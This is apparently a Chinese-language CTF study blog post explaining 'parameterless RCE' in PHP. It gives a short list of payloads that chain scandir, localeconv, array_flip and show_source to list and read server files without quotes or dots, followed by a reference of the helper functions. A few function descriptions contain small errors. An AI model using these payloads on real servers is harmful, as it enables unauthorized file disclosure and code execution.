无参RCE

常用payload

  • show_source(array_rand(array_flip(scandir(current(localeconv())))));
  • highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));
  • var_dump(get_defined_vars());:暴力输出所以变量

chdir():这个函数会改变当前的工作目录到指定目录,这里将工作目录改变为根目录,并返回布尔值,如果没有这一步会发现不能读取根目录下的文件,只会报错

scandir()

可以获取当前目录的文件和子目录

传入值:接收参数是要扫描的路径

返回值:返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)

scandir(‘.’)

image-20260119000604195

因为是无参RCE,所以引号和点这些符号可能会禁用,就要和localeconv()current()搭配使用

scandir(current(localeconv()))

current()

获取数组的当前元素

传入值:一个数组

返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素

可以与localeconv() 搭配使用,从而获取localeconv() 返回的数组中第一个元素点 .

current(localeconv())

pos()

这是current()的别名函数,和其作用一样是获取数组的当前元素

传入值:一个数组

返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素

pos(localeconv())

localeconv()

返回一包含本地数字及货币格式信息的数组。

传入值:无需传入参数

返回值:返回内容是一个包含众多格式化设置的关联数组

这里数组第一项就是‘.’,这个.的用处很大

image-20260119000612764

glob()

用于文件路径名模式匹配的函数,可以获取文件路径的数组

传入值:要匹配的文件路径名

返回值:一个包含匹配文件路径的数组

glob(‘*’)

getcwd()

取得当前工作目录的绝对路径

传入值:无需传入参数

返回值:会返回当前工作目录的绝对路径

dirname()

获取路径中的目录部分

传入值:接收一个路径参数

返回值:返回路径中的目录部分

可以和getcwd()搭配使用

dirname(getcwd())

array_flip()

交换数组中的键和值

传入值:会接收一个数组

返回值:返回一个键和值交换位置的数组

可以和scandir(current(localeconv()))搭配使用

array_reverse()

将数组中的元素颠倒过来

传入值:接收一个数组

返回值:返回i一个键和值交换位置的数组

可以和array_flip(scandir(current(localeconv())))搭配使用

array_reverse(array_flip(scandir(current(localeconv()))))

array_rand()

这个函数可以从一个数组中随机抽取一个或多个键

传入值:接收一个数组,如果没有指定选取键的数量会默认为1

返回值:会返回随机选取的键

可以和array_flip(scandir(current(localeconv())))搭配使用

array_rand(array_flip(scandir(current(localeconv()))))

chdir()

这个函数会改变当前脚本的工作目录

传入值:需要接收目标目录的路径

返回值:返回值是布尔类型

dirname(chdir(dirname(dirname(dirname(getcwd()))))));

strrev()

这个函数可以将字符串反转

传入值:要进行反转的字符串

返回值:反转后的字符串

strrev(“hello”)

img

end()

可以将数组内部指针移动到最后一个元素

传入值:要操作的数组

返回值:返回数组的最后一个元素的值

end(scandir(current(localeconv())))

image-20260119000720229

image-20260119000726014

next()

可以将数组的内部指针向前移动一位

传入值:要操作的数组

返回值:返回移动后内部指针所指向的元素的值, 如果超出数组范围会返回false

prev()

将数组的内部指针倒回一位

传入值:要操作的数组

返回值:返回移动后内部指针所指向的元素的值, 如果超出数组范围会返回false

reset()

将数组内部指针重置到第一个元素

传入值:要操作的数组

返回值:返回重置后的内部指针指向的元素的值,即数组第一个元素的值

each()

可以获取当前数组内部指针指向的元素的键和值,并将指针向后移动一位

传入值:要操作的数组

返回值: 返回一个包含四个元素的数组,键0和key对应元素的键,键1和value对应元素的值。如果数组指针已经超出数组范围,返回false

each(scandir(current(localeconv())))

img

ord()

获取字符串中第一个字符的ASCII码值

传入值: 要处理的字符串

返回值: 字符串中第一个字符的ASCII码值

ord(end(scandir(current(localeconv()))))

chr()

和ord()函数功能相反,这个函数是将ASCll码值转化为字符

传入值:ASCll码值

返回值:ASCll码值对应的字符

getallheaders()

这个函数可以获取全部的 HTTP 请求头

传入值:无需传入参数

返回值: 会返回一个包含请求头的数组,键为请求头,值为请求头的值

不过这个函数只能在 Apache 环境中使用,其他环境不能用

img

get_defined_vars()

这个函数可以返回所有已定义变量的数组,包括全局变量、局部变量、超全局变量等

传入值:不需要传入参数

返回值: 返回一个包含所有已定义变量的关联数组

不过这个函数只能在 Apache 环境中使用,其他环境不能用

session_id()

这个函数可以获取或设置当前会话的 Session ID

传入值:不需要传入参数

返回值:返回当前会话的 ID,如果没有就会返回一个空字符串

读取文件内容函数

highlight_file()

show_source()

readfile()


无参RCE
https://colourful228.github.io/2026/01/19/无参RCE/
作者
Colourful
发布于
2026年1月19日
更新于
2026年1月19日
许可协议